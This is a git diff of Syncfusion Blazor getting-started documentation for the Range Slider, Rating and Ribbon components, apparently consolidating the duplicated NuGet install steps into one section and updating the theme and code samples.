@@ -301,6 +301,6 @@ The [ObservableCollection](https://learn.microsoft.com/en-us/dotnet/api/system.c
 }
 ```
 
-![Blazor Chart with Web API Binding](images/working-data/blazor-range-observable-collection.png)
+![Blazor Chart with Web API Binding](images/working-data/blazor-range-observable-collection.webp)
 
 N> Refer to our [Blazor Range Selector](https://www.syncfusion.com/blazor-components/blazor-range-selector) feature tour page for its groundbreaking feature representations and also explore our [Blazor Range Selector Example](https://blazor.syncfusion.com/demos/range-selector/range-navigator?theme=fluent) to know various Range Selector types and how to represent time-dependent data, showing trends at equal intervals.
\ No newline at end of file
diff --git a/blazor/range-slider/getting-started.md b/blazor/range-slider/getting-started.md
index 0325953d47..3e73b13f27 100644
--- a/blazor/range-slider/getting-started.md
+++ b/blazor/range-slider/getting-started.md
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Range Slider Component
 
-This section explains how to add the [Blazor Range Slider](https://www.syncfusion.com/blazor-components/blazor-range-slider) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Slider](https://www.syncfusion.com/blazor-components/blazor-range-slider) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +25,6 @@ This section explains how to add the [Blazor Range Slider](https://www.syncfusio
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-To add the **Blazor Range Slider** component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Range Slider** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +131,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Range Slider component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Slider component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Slider component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Inputs
 
@@ -207,7 +163,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Slider com
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RangeSlider).
 
-## See Also
+## See also
 
 [Slider Types](./types)
 
diff --git a/blazor/rating/getting-started.md b/blazor/rating/getting-started.md
index 0130888174..6db2f797a3 100644
--- a/blazor/rating/getting-started.md
+++ b/blazor/rating/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Rating Component
 
-This section explains how to add the Blazor Rating component to a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rating](https://www.syncfusion.com/blazor-components/blazor-rating) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This section explains how to add the Blazor Rating component to a Blazor WebAsse
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-To add the **Blazor Rating** component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Rating** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rating component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rating component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfRating></SfRating>
 
@@ -206,7 +162,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rating component
 Set the rating value by using the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfRating.html#Syncfusion_Blazor_Inputs_SfRating_Value) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfRating Value="3"></SfRating>
 
diff --git a/blazor/ribbon/getting-started.md b/blazor/ribbon/getting-started.md
index f8bc6054f2..b9a581ed47 100644
--- a/blazor/ribbon/getting-started.md
+++ b/blazor/ribbon/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Ribbon Component
 
-This guide explains how to add the [Blazor Ribbon](https://www.syncfusion.com/blazor-components/blazor-ribbon) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This guide briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon](https://www.syncfusion.com/blazor-components/blazor-ribbon) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This guide explains how to add the [Blazor Ribbon](https://www.syncfusion.com/bl
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.webp)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon and Themes NuGet in the App
-
-To add the **Blazor Ribbon** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Ribbon](https://www.nuget.org/packages/Syncfusion.Blazor.Ribbon/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Ribbon -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Ribbon](https://www.nuget.org/packages/Syncfusion.Blazor.Ribbon) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Ribbon -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Ribbon and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
